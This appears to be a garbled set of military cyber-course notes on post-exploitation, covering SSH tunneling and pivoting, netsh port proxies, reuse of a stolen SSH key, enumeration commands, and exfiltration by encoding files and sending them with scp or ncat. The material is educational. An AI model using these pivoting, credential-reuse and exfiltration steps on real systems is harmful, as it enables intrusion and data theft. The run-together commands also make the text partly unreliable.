-L <USER PORT ON LOCAL>:TARGETHOST:TARGETPORT112-CCTC32
Action:
| Learning Domains/Level of Learning:
|
Army General Learning Outcomes:
| Safety Requirements:
|
There are many important tasks to perform after the exploitation of a target has led to initial access of its network or systems. These tasks are important for both attackers and defenders. Attackers need to move as quickly and quietly as possible. Defenders need to detect the attacker’s presence, detect potential data exfiltration, and prevent attackers from moving freely through the defenders' systems and networks.
During the lesson we will review the following topics:
Control Sockets
Enumeration
Exfiltration
Basic Characteristics
Access remote systems using an SSH server as a proxy
Securely transfer files
Execute commands on a remote system
VPN using the SSH protocol as a transport
Forwarding the X Window System display to the client system
-L <USER PORT ON LOCAL>:TARGETHOST:TARGETPORTssh USER@<PIVOT IP> -R <REMOTE PORT ON PIVOT>:TARGETHOST:TARGETPORTnetsh interface portproxy add v4tov4 listenport=<LocalPort> listenaddress=<LocalIP> connectport=<TargetPort> connectaddress=<TargetIP> protocol=tcp
netsh interface portproxy show all
netsh interface portproxy delete v4tov4 listenport=<LocalPort>
netsh interface portproxy resetSSH keys are asymetric(public/private) key pairs that can be used to authenticate a user to a system in combination with or to replace the use of a password
If you are able to find a users private ssh key it can potentially be used to gain access to other systems
Bring private key to your own box
On your box:
chmod 600 /home/student/stolenkey
ssh -i /home/student/stolenkey jane@1.2.3.4| ssh as the user who is the original key owner |
Benefits Provided Include:
Multiplexing
Data exfiltration
Less logging
Two main ways to configure:
ssh -M -S /tmp/s root@<IP ADDRESS> <TUNNEL COMMANDS -R or -L>
ssh -S /tmp/s x@x
scp -o 'ControlPath=/tmp/s' x@x:<Path>HostName *
ControlPath ~/.ssh/controlmasters/%r@%h:%p
ControlMaster auto
ControlPersist 10mWhy is this important?
What does it provide?
net usercat /etc/passwdWhy is this important?
What does it provide?
tasklist /vps -elfWhy is this important?
What does it provide?
tasklist /svcchkconfig # SysV
systemctl --type=service # SystemDWhy is this important?
What does it provide?
ipconfig /allifconfig -a # SysV (deprecated)
ip a # SystemD ssh <user>@<host> | teetype <file> | %{$_ -replace 'a','b' -replace 'b','c' -replace 'c','d'} > translated.out
certutil -encode <file> encoded.b64cat <file> | tr 'a-zA-Z0-9' 'b-zA-Z0-9a' > shifted.txt
cat <file>> | base64scp <source> <destination>
ncat --ssl <ip> <port> < <file>